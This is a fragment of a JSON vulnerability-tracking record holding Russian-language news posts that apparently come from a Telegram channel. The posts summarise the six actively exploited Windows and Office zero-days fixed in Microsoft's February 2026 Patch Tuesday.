DoS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 Windows.\n\n\u0420\u0430\u0437\u044b\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 Windows \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0435.\n\nMicrosoft \u043f\u0440\u0438\u043f\u0438\u0441\u0430\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 ACROS, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0435\u0439 \u0441 0patch.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u044b\u0441\u043a\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0432 \u0445\u043e\u0434\u0435 \u043f\u043e\u0438\u0441\u043a\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f CVE-2025-59230, \u043d\u043e \u043e\u043d \u043d\u0435 \u043e\u0441\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u044b, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u043e\u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445. \u041e\u0434\u043d\u0430\u043a\u043e \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f \u043e\u0431\u0435\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u00ab\u043f\u0440\u043e\u0444\u0435\u0441\u0441\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0434\u0435\u043b\u0430\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u0435\u00bb.\n\n- CVE-2026-21533: EoP-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u0443\u0436\u0431\u0430\u0445 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 Windows.\n\n\u041d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 Windows Remote Desktop \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e. \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f CrowdStrike.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c CrowdStrike, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f CVE-2026-21533 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u043a\u043b\u044e\u0447 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441\u043b\u0443\u0436\u0431\u044b, \u0437\u0430\u043c\u0435\u043d\u044f\u044f \u0435\u0433\u043e \u043a\u043b\u044e\u0447\u043e\u043c, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0433\u0440\u0443\u043f\u043f\u0443 \u0430\u0434\u043c\u0438\u043d\u043e\u0432.\n\nCrowdStrike \u043d\u0435 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u0443 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0441 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c, \u043d\u043e \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438  \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0443\u0441\u043a\u043e\u0440\u044f\u0442 \u0441\u0432\u043e\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0438\u043b\u0438 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0434\u0430\u0442\u044c \u0435\u0433\u043e \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u0435 \u0432\u0440\u0435\u043c\u044f.\n\n\u041f\u043e\u043b\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0435\u044e \u0441\u0438\u0441\u0442\u0435\u043c - \u0437\u0434\u0435\u0441\u044c.", "creation_timestamp": "2026-02-11T11:40:52.000000Z"}, {"uuid": "5a112043-726b-447c-bca1-6745c3ac7bb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21513", "type": "seen", "source": "https://t.me/true_secator/7897", "content": "\u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u043e\u0433\u043e PatchTuesday \u0432 \u044d\u0442\u043e\u043c \u043c\u0435\u0441\u044f\u0446\u0435 Microsoft \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 6 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0438 \u0442\u0440\u0435\u0445 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0445 0-day: CVE-2026-21510, CVE-2026-21514, CVE-2026-21513, CVE-2026-21519, CVE-2026-21533 \u0438 CVE-2026-21525.\n\n\u0412 \u043d\u043e\u0432\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043f\u044f\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0442\u0440\u0438 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 EoP, \u0430 \u0434\u0432\u0435 - \u0441 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438. \u0412 \u0446\u0435\u043b\u043e\u043c \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044f\u043c \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: 25 - EoP, 5 - \u043e\u0431\u0445\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, 12 - RCE, 6 - \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, 3 - DoS \u0438 7 - \u043f\u043e\u0434\u043c\u0435\u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, 3 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 Microsoft Edge, \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b Secure Boot,\u00a0\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0442 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0442 2011 \u0433\u043e\u0434\u0430, \u0441\u0440\u043e\u043a \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0441\u0442\u0435\u043a\u0430\u0435\u0442 \u0432 \u0438\u044e\u043d\u0435 2026 \u0433\u043e\u0434\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows 10.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0443\u043b\u0435\u0439 \u043d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u043a\u0443\u0447\u043d\u043e:\n\n- CVE-2026-21510: \u043e\u0431\u0445\u043e\u0434 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows SmartScreen \u0438 Windows Shell.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u0438\u043b\u0438 \u0444\u0430\u0439\u043b\u0430 \u044f\u0440\u043b\u044b\u043a\u0430. \u0412\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 Mark of the Web.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows SmartScreen \u0438 Windows Shell, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u0443\u044e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Windows Shell, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0435\u043d\u0442, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0438\u043b\u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f Microsoft MSTIC \u0438 MSRC, \u0433\u0440\u0443\u043f\u043f\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Office, Google \u0438 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u043c\u0443 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \n CVE-2026-21513 \u0438 CVE-2026-21514.\n\n- CVE-2026-21513: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Internet Explorer \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 HTML- \u0438\u043b\u0438 LNK-\u0444\u0430\u0439\u043b\u044b.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441\u043e \u0441\u0431\u043e\u0435\u043c \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 \u0437\u0430\u0449\u0438\u0442\u044b MSHTML Framework, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044f \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u043e\u0439\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0438. \u0414\u0430\u043d\u043d\u044b\u0435 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u043e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\n\n- CVE-2026-21514: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Microsoft Word, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043e\u0431\u043e\u0439\u0442\u0438 \u043c\u0435\u0440\u044b \u0437\u0430\u0449\u0438\u0442\u044b OLE.\n\n\u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b Office \u0438 \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u0435\u0433\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0435\u0433\u043e.\n\nMicrosoft \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432 \u043f\u0430\u043d\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430 Office. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043d\u0435 \u0431\u044b\u043b\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u043e, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e CVE-2026-21510, CVE-2026-21513 \u0438 CVE-2026-21514 \u043c\u043e\u0433\u043b\u0438 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u0434\u043d\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438.\n\n- CVE-2026-21519: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043e\u043a\u043e\u043d \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 Windows.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0439 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u041d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u0431\u044b\u043b\u0430 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u0430\u0442\u0430\u043a\u0430, \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f.\n\nMicrosoft \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043b\u0438\u0448\u044c \u0442\u043e, \u0447\u0442\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0446\u0435\u043d\u0442\u0440\u0430\u043c Microsoft MSTIC \u0438 MSRC.\n\n- CVE-2026-21525: DoS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 Windows.\n\n\u0420\u0430\u0437\u044b\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 Windows \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0435.\n\nMicrosoft \u043f\u0440\u0438\u043f\u0438\u0441\u0430\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 ACROS, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0435\u0439 \u0441 0patch.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u044b\u0441\u043a\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0432 \u0445\u043e\u0434\u0435 \u043f\u043e\u0438\u0441\u043a\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f CVE-2025-59230, \u043d\u043e \u043e\u043d \u043d\u0435 \u043e\u0441\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u044b, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u043e\u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445. \u041e\u0434\u043d\u0430\u043a\u043e \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f \u043e\u0431\u0435\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u00ab\u043f\u0440\u043e\u0444\u0435\u0441\u0441\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0434\u0435\u043b\u0430\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u0435\u00bb.\n\n- CVE-2026-21533: EoP-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u0443\u0436\u0431\u0430\u0445 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 Windows.\n\n\u041d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 Windows Remote Desktop \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e. \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f CrowdStrike.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c CrowdStrike, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f CVE-2026-21533 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u043a\u043b\u044e\u0447 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 